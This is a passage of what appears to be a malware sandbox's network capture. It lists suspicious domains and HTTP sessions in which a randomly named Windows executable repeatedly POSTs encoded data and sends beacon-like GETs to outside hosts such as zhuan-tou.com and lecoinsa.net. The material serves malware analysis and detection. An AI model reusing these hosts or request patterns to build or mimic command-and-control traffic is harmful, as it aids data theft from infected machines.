www.zhuan-tou.com

www.lecoinsa.net

www.8xbe578.app

www.synergon.space

www.alanbeanart.com

www.kacotae.com

www.slushcafe.top

www.a9jcpf.top

www.tqfabxah.com

www.rtrpodcast.online

www.mqmsqkw.lol

www.lfghtko.lol

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	55397	3.33.130.190	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:31:16.704848051 CEST	439	OUT	GET /toda/?GTP=uhqpjxIPh&efM=obOL9JCgNxwS4++cuMdB8oKy9gH02j2g0sHVZkybihQ0FoV35C0OF1DRqfJh8iiswTwJQUV87m+YN/qkLbPeZjD4+ekebMUnDMBnOUVwsozzcXjkZdwt+Kw= HTTP/1.1 Host: www.stemfiniti.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Aug 5, 2024 15:31:17.205013990 CEST	393	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 05 Aug 2024 13:31:17 GMT Content-Type: text/html Content-Length: 253 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 47 54 50 3d 75 68 71 70 6a 78 49 50 68 26 65 66 4d 3d 6f 62 4f 4c 39 4a 43 67 4e 78 77 53 34 2b 2b 63 75 4d 64 42 38 6f 4b 79 39 67 48 30 32 6a 32 67 30 73 48 56 5a 6b 79 62 69 68 51 30 46 6f 56 33 35 43 30 4f 46 31 44 52 71 66 4a 68 38 69 69 73 77 54 77 4a 51 55 56 38 37 6d 2b 59 4e 2f 71 6b 4c 62 50 65 5a 6a 44 34 2b 65 6b 65 62 4d 55 6e 44 4d 42 6e 4f 55 56 77 73 6f 7a 7a 63 58 6a 6b 5a 64 77 74 2b 4b 77 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?GTP=uhqpjxIPh&efM=obOL9JCgNxwS4++cuMdB8oKy9gH02j2g0sHVZkybihQ0FoV35C0OF1DRqfJh8iiswTwJQUV87m+YN/qkLbPeZjD4+ekebMUnDMBnOUVwsozzcXjkZdwt+Kw="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	55399	38.12.1.29	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:31:34.455704927 CEST	706	OUT	POST /pjmu/ HTTP/1.1 Host: www.zhuan-tou.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.zhuan-tou.com Referer: http://www.zhuan-tou.com/pjmu/ Content-Length: 200 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 2b 6a 66 39 32 4f 4e 31 36 59 6b 49 66 54 72 59 7a 4e 41 32 41 32 31 33 7a 6b 79 64 76 4b 35 73 43 77 5a 4a 65 52 53 6c 66 48 38 59 4b 59 61 48 45 4a 33 39 55 47 4c 31 6a 59 68 30 4e 32 4e 48 42 38 52 5a 77 74 68 2f 4f 73 4b 44 7a 50 4c 71 78 30 72 45 5a 68 38 4e 55 75 39 46 68 6c 66 4b 56 47 36 61 4d 35 79 38 43 67 6c 47 31 39 2f 7a 47 69 4b 6d 41 6c 52 38 57 56 67 2f 2f 42 6f 39 47 37 58 4b 56 6e 4d 59 4b 56 56 56 62 5a 2b 34 34 31 58 72 48 7a 4a 69 57 37 49 69 70 4c 7a 72 61 65 66 2b 54 6f 66 56 72 4c 5a 67 6d 65 56 58 52 43 4a 70 45 55 6f 51 31 65 5a 38 54 30 78 32 59 67 3d 3d Data Ascii: efM=+jf92ON16YkIfTrYzNA2A213zkydvK5sCwZJeRSlfH8YKYaHEJ39UGL1jYh0N2NHB8RZwth/OsKDzPLqx0rEZh8NUu9FhlfKVG6aM5y8CglG19/zGiKmAlR8WVg//Bo9G7XKVnMYKVVVbZ+441XrHzJiW7IipLzraef+TofVrLZgmeVXRCJpEUoQ1eZ8T0x2Yg==
Aug 5, 2024 15:31:35.346323013 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 05 Aug 2024 13:31:35 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	55400	38.12.1.29	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:31:36.995434046 CEST	726	OUT	POST /pjmu/ HTTP/1.1 Host: www.zhuan-tou.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.zhuan-tou.com Referer: http://www.zhuan-tou.com/pjmu/ Content-Length: 220 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 2b 6a 66 39 32 4f 4e 31 36 59 6b 49 66 79 62 59 67 61 55 32 42 57 31 30 38 45 79 64 30 36 35 6f 43 77 64 4a 65 56 43 31 66 31 6f 59 4c 39 6d 48 46 49 33 39 54 47 4c 31 33 49 68 4c 44 57 4e 4d 42 38 4e 2f 77 73 64 2f 4f 73 4f 44 7a 4e 54 71 77 43 6a 48 62 78 38 4c 5a 4f 39 48 2f 56 66 4b 56 47 36 61 4d 35 32 47 43 67 39 47 30 4f 6e 7a 55 58 32 6c 4e 46 52 37 41 46 67 2f 75 78 6f 35 47 37 58 53 56 6d 51 79 4b 58 64 56 62 5a 75 34 34 67 72 6f 63 6a 4a 6b 53 37 4a 56 6c 4b 79 67 58 2b 4b 30 58 70 72 43 69 5a 56 66 6a 59 45 4e 41 7a 6f 2b 57 55 4d 6a 6f 5a 51 49 65 33 4d 2f 44 6c 4e 64 74 61 46 32 5a 56 70 4f 34 38 75 37 6e 31 38 48 69 43 49 3d Data Ascii: efM=+jf92ON16YkIfybYgaU2BW108Eyd065oCwdJeVC1f1oYL9mHFI39TGL13IhLDWNMB8N/wsd/OsODzNTqwCjHbx8LZO9H/VfKVG6aM52GCg9G0OnzUX2lNFR7AFg/uxo5G7XSVmQyKXdVbZu44grocjJkS7JVlKygX+K0XprCiZVfjYENAzo+WUMjoZQIe3M/DlNdtaF2ZVpO48u7n18HiCI=
Aug 5, 2024 15:31:37.858598948 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 05 Aug 2024 13:31:37 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	55401	38.12.1.29	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:31:39.580959082 CEST	10808	OUT	POST /pjmu/ HTTP/1.1 Host: www.zhuan-tou.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.zhuan-tou.com Referer: http://www.zhuan-tou.com/pjmu/ Content-Length: 10300 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 2b 6a 66 39 32 4f 4e 31 36 59 6b 49 66 79 62 59 67 61 55 32 42 57 31 30 38 45 79 64 30 36 35 6f 43 77 64 4a 65 56 43 31 66 31 51 59 4c 50 65 48 45 72 50 39 53 47 4c 31 30 49 68 4f 44 57 4e 72 42 38 56 37 77 73 52 76 4f 71 53 44 7a 6f 50 71 67 67 4c 48 53 78 38 4c 51 75 39 61 68 6c 66 36 56 47 72 64 4d 34 47 47 43 67 39 47 30 50 58 7a 58 43 4b 6c 50 46 52 38 57 56 67 4e 2f 42 6f 64 47 37 50 43 56 6d 55 49 4b 6d 39 56 62 35 65 34 39 57 2f 6f 51 6a 4a 6d 56 37 4a 4e 6c 50 71 76 58 2b 57 57 58 70 66 6b 69 62 4a 66 69 35 31 74 63 77 45 39 4a 31 45 4b 72 61 77 2b 66 47 73 4b 45 57 42 71 38 4b 74 68 4e 55 70 66 38 38 66 30 2b 68 41 61 6a 43 75 5a 45 56 76 33 37 34 4d 6e 47 62 7a 45 4b 4f 61 42 30 67 56 6b 4d 6e 2f 43 76 47 47 67 69 42 4c 6d 4e 6f 73 4d 6d 4a 55 74 61 77 34 55 4e 33 39 71 6f 32 75 30 32 46 6d 5a 2f 53 77 2b 34 37 36 48 2f 35 37 62 4f 2b 6d 64 41 69 49 41 4b 6c 6b 72 35 53 6f 31 30 4e 2b 4c 2f 68 52 4d 33 63 32 6f 42 57 31 73 4b 61 63 48 59 6b 76 52 70 5a 38 34 30 73 76 45 57 30 [TRUNCATED] Data Ascii: efM=+jf92ON16YkIfybYgaU2BW108Eyd065oCwdJeVC1f1QYLPeHErP9SGL10IhODWNrB8V7wsRvOqSDzoPqggLHSx8LQu9ahlf6VGrdM4GGCg9G0PXzXCKlPFR8WVgN/BodG7PCVmUIKm9Vb5e49W/oQjJmV7JNlPqvX+WWXpfkibJfi51tcwE9J1EKraw+fGsKEWBq8KthNUpf88f0+hAajCuZEVv374MnGbzEKOaB0gVkMn/CvGGgiBLmNosMmJUtaw4UN39qo2u02FmZ/Sw+476H/57bO+mdAiIAKlkr5So10N+L/hRM3c2oBW1sKacHYkvRpZ840svEW0fOhsGiM3bLZNvi7d03//nrNrlOqwhNaq+pIxT84tZzBg68qRWSZeh9m2JTKTTZ/7rF96nJGt2Esfk9Y4qlQQBALgmS+U+z4PimlvFaVV3KHn0VKK/NgIeIdNNQSsR6+Biy2bK2SFWoNGUJCbydMap2jzGoROsfTnORZs5JxKZEso+n6B9YMoErhHYrJK0LSz6Ty5+kmrPvbFnkpeX+oqIYwBY3M9PmzkFtEtsivIFC+Fx5HV8nSU92+CfVeWv7rShahDINkE8K00Qi0dZqdnJINKHFE5zQj3ouvR99L1sdBN51spcO6NT7rXFgy7sI8cQyf4ofMV9u4Mi0b5NiIblVXbm5Iarugj/mdw3RwH5Ojw8S1w9JFGoPCAuTeGZZpn/f6GEC8uFaJ/BpaRFnNvoFiRZIGbIFy4hQgKgBJAze28G7fXqrbWXsPIIfnOUjz4kLQwNBEi0kYckpvj4TuLnCkZ1Lsgr6wxE3bBdPs1JHhbpwgrwRvP6KSITtjVe4VNYv3YY+lt3adQbS1LXFNKahg/ztzJWHEYkwtAavWvFPLeAUcNpyW7L7ovcAIGq9giiRpHpp7xcBPRbGrNzNfi/PPe6Bdum8zD8BUDX741yrurL5n6mXkPyKON6ax708VX+UpxSGWXFXGBTNWAFcdqiUJQpGOQ9TC7wS [TRUNCATED]
Aug 5, 2024 15:31:40.562031031 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 05 Aug 2024 13:31:40 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	55402	38.12.1.29	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:31:42.111552954 CEST	438	OUT	GET /pjmu/?efM=zh3d17Jww7lUdSTn18h3AW52xQeHiultGm9RdVCgVGhfN4W3cKL6T1z80tBiQSN9EuR6w+tbLdSr4eDL0g7GYgJ6QddEnX3CYXXMD+mGHjpcx+XzQAKiSmY=&GTP=uhqpjxIPh HTTP/1.1 Host: www.zhuan-tou.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Aug 5, 2024 15:31:42.990638018 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 05 Aug 2024 13:31:42 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	55403	217.116.0.191	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:31:48.299766064 CEST	703	OUT	POST /7ffx/ HTTP/1.1 Host: www.lecoinsa.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.lecoinsa.net Referer: http://www.lecoinsa.net/7ffx/ Content-Length: 200 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 57 50 34 55 38 35 51 38 49 43 6e 76 45 65 32 35 32 6d 53 45 4a 61 6c 6b 2b 57 78 48 43 53 54 68 63 4c 39 59 2f 68 6b 4a 63 41 53 52 6a 2f 2f 75 7a 72 7a 39 6f 34 51 6a 50 49 56 77 51 36 69 38 50 46 49 6d 62 76 6a 41 65 7a 4d 72 30 6d 66 55 58 57 52 71 43 69 2b 36 4e 68 37 4c 35 57 38 62 42 43 63 6f 78 34 7a 6f 52 42 35 62 43 6c 44 6e 31 36 46 61 36 37 64 2b 48 47 46 35 2b 6b 48 58 53 44 74 2f 57 6d 4b 78 54 35 6e 78 4f 4b 37 75 33 69 4c 5a 49 35 47 78 4f 45 69 51 46 41 33 38 36 55 6d 7a 32 73 33 53 7a 39 6f 77 7a 35 46 49 39 56 4b 48 59 72 39 70 63 4e 45 70 35 78 42 63 66 67 3d 3d Data Ascii: efM=WP4U85Q8ICnvEe252mSEJalk+WxHCSThcL9Y/hkJcASRj//uzrz9o4QjPIVwQ6i8PFImbvjAezMr0mfUXWRqCi+6Nh7L5W8bBCcox4zoRB5bClDn16Fa67d+HGF5+kHXSDt/WmKxT5nxOK7u3iLZI5GxOEiQFA386Umz2s3Sz9owz5FI9VKHYr9pcNEp5xBcfg==
Aug 5, 2024 15:31:48.976499081 CEST	572	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Mon, 05 Aug 2024 13:31:48 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: http://lecoinsa.net/7ffx/ Data Raw: 31 35 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 3a 2f 2f 6c 65 63 6f 69 6e 73 61 2e 6e 65 74 2f 37 66 66 78 2f 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 6c 65 63 6f 69 6e 73 61 2e 6e 65 74 2f 37 66 66 78 2f 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 6c 65 63 6f 69 6e 73 61 2e 6e 65 74 2f 37 66 66 78 2f 22 3e 68 74 74 70 3a 2f 2f 6c 65 63 6f 69 6e 73 61 2e 6e 65 74 2f 37 66 66 78 2f 3c 2f 61 3e 2e 0a 20 20 20 20 3c 2f [TRUNCATED] Data Ascii: 15a<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='http://lecoinsa.net/7ffx/'" /> <title>Redirecting to http://lecoinsa.net/7ffx/</title> </head> <body> Redirecting to <a href="http://lecoinsa.net/7ffx/">http://lecoinsa.net/7ffx/</a>. </body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	55404	217.116.0.191	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:31:50.840605974 CEST	723	OUT	POST /7ffx/ HTTP/1.1 Host: www.lecoinsa.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.lecoinsa.net Referer: http://www.lecoinsa.net/7ffx/ Content-Length: 220 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 57 50 34 55 38 35 51 38 49 43 6e 76 46 2f 47 35 37 6c 36 45 63 71 6c 6e 6e 57 78 48 4a 79 54 74 63 4c 35 59 2f 6b 63 5a 64 32 43 52 69 62 7a 75 79 75 66 39 76 34 51 6a 58 34 56 31 65 61 69 72 50 46 4d 66 62 71 62 41 65 7a 49 72 30 6a 62 55 58 68 46 74 43 79 2b 34 56 52 37 7a 33 32 38 62 42 43 63 6f 78 34 6d 44 52 46 56 62 42 55 7a 6e 31 62 46 56 6d 4c 64 35 4f 6d 46 35 70 30 47 63 53 44 73 51 57 6e 57 62 54 37 66 78 4f 50 58 75 35 58 33 61 43 35 47 7a 41 6b 69 46 50 67 65 44 69 56 44 6c 6f 38 6e 74 39 64 59 63 32 2f 55 53 73 6b 72 51 4b 72 5a 61 42 4b 4e 64 30 79 38 56 45 67 7a 62 54 45 63 65 76 70 4d 45 55 48 4e 35 4f 4d 69 46 66 31 55 3d Data Ascii: efM=WP4U85Q8ICnvF/G57l6EcqlnnWxHJyTtcL5Y/kcZd2CRibzuyuf9v4QjX4V1eairPFMfbqbAezIr0jbUXhFtCy+4VR7z328bBCcox4mDRFVbBUzn1bFVmLd5OmF5p0GcSDsQWnWbT7fxOPXu5X3aC5GzAkiFPgeDiVDlo8nt9dYc2/USskrQKrZaBKNd0y8VEgzbTEcevpMEUHN5OMiFf1U=
Aug 5, 2024 15:31:51.526330948 CEST	572	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Mon, 05 Aug 2024 13:31:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: http://lecoinsa.net/7ffx/ Data Raw: 31 35 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 3a 2f 2f 6c 65 63 6f 69 6e 73 61 2e 6e 65 74 2f 37 66 66 78 2f 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 6c 65 63 6f 69 6e 73 61 2e 6e 65 74 2f 37 66 66 78 2f 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 